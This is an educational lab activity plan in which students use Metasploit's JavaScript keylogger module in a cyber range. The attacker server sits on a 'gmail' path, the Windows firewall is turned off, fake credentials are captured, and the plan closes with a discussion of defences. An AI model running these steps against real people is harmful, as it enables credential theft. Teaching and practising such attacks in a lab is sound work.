| **Activity Name** | **Length of Time (0:00)** | **Student or Team** |
| --- | --- | --- |
| **Keylogging Activity** | **:55** | **Student** |

| **Description** | Keylogging is the use of a program to record every keystroke made by a computer user in order to gain fraudulent access to passwords and other confidential information. Students will understand the concepts of password safety and keylogging attacks. Keystroke logging, often referred to as keylogging or keyboard capturing, is recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program. |
| --- | --- |
| **Learning Objectives** | * Understand how computing resources can be protected and can be misused. * Explain how unauthorized access to computing resources is gained. |
| **TA Instructions** | TA can demo for students and then have each login into cyber range and follow the instructions. After the activity, discuss ways to mitigate this attack.  **Preparation**  Kali Linux Virtual Machine  Windows 7 Virtual Machine  • Software Tools used (both from Kali Linux OS)  • Metasploit Framework  • Web JavaScript Keylogger Exploit  Setup Environments   1. Log into the Cyber Range 2. Open the Kali Linux and Windows 7 Environments 3. In Windows, change your network location 4. Click on the Windows Start button 5. Search for “Network” 6. Open the Network and Sharing Center program 7. Under your Network #, click on the “Public Network” 8. Select the “Home Network” option (This disables the Windows Firewall)   Find the IP Address (Kali Machine)  • You will need the IP address of the Kali machine  • Open the Terminal  • In Kali, open the Terminal and type the following command: **hostname -I**  • This will display the IP Address  • Write down the Kali VM IP address  Find the IP Address (Windows Machine)  • Select the Start button (Windows Machine) and search for “cmd”  • Open cmd (Command Prompt)  • Use the following command: ipconfig  • Search for the IPv4 Address line  • Write down the Windows IP Address  Initialize Metasploit  • In the Kali environment, open Terminal  • Type **sudo systemctl start postgresql** to start the database:  • Type **sudo msfdb init** to start the Metasploit framework:  • Start Metasploit with **sudo msfconsole**  You should notice that Metasploit console has started, and you should now see the following prompt:  **msf >**  Start the Keylogger Attack  • Type **use auxiliary/server/capture/http\_javascript\_keylogger**  • Look at the options for this attack: **show options**  • Turn the keylogger demo on **set demo True**  • Set the keylogger server port to port 1717: **set SRVPORT 1717**  • Set the server host: **set SRVHOST *Kali\_IP\_Address***  • Run the keylogger attack: Type **run** to start the server  Starting the Attack  • Break/Stop the server by pressing **CTRL+C**  • Now, set the URI path the “Gmail”: **set URIPATH gmail**  • Rerun the capture: Type **run**  • Write down the URL the server is currently using. It should look like the following:  [http://10.1.90.93:1717/gmail](http://10.1.57.93:1717/gmail)  Playing the Victim  • In the Windows environment, open the Chrome Browser  • Go to the website of the URL you wrote down.  • Add “**/demo**” to the end of this URL. It should look something like the following  *http://10.1.57.93:1717/gmail/demo*  • You should see a "*Keylogger Demo Form*" page  • Type in fake credentials as if you were going to log into a website  Seeing the Attack  • Go back to Kali  • Notice it recorded every keystroke!  Discuss ways to defend against a Key Logger  • Only use credentials at trusted websites!  • What was the website URL you entered your credentials in?  • Avoid re-using passwords across multiple websites  • If one site steals your password once, they're all the same...  • Use a firewall!  • Remember you disabled the firewall at the beginning of this lab  • Firewalls prevent malicious software from sending out data without you knowing  • Two-Factor Authentication  • Why would these help secure your password?  • What are some other ways of defending against a keylogger attack? |
| [**Artifacts and Links**](https://drive.google.com/drive/folders/1mNsCW5dRUiHjE_Zoi3p7YjO1RsRJFhVK?usp=share_link) | [U.S. Cyber Range](https://login.uscyberrange.org/) |
| **Additional Information** | * [What are Keystroke Logging and Keyloggers?](https://usa.kaspersky.com/resource-center/definitions/keylogger) * [5 Ways to Protect Yourself Against Keyloggers](https://www.makeuseof.com/tag/4-ways-protect-keyloggers/) |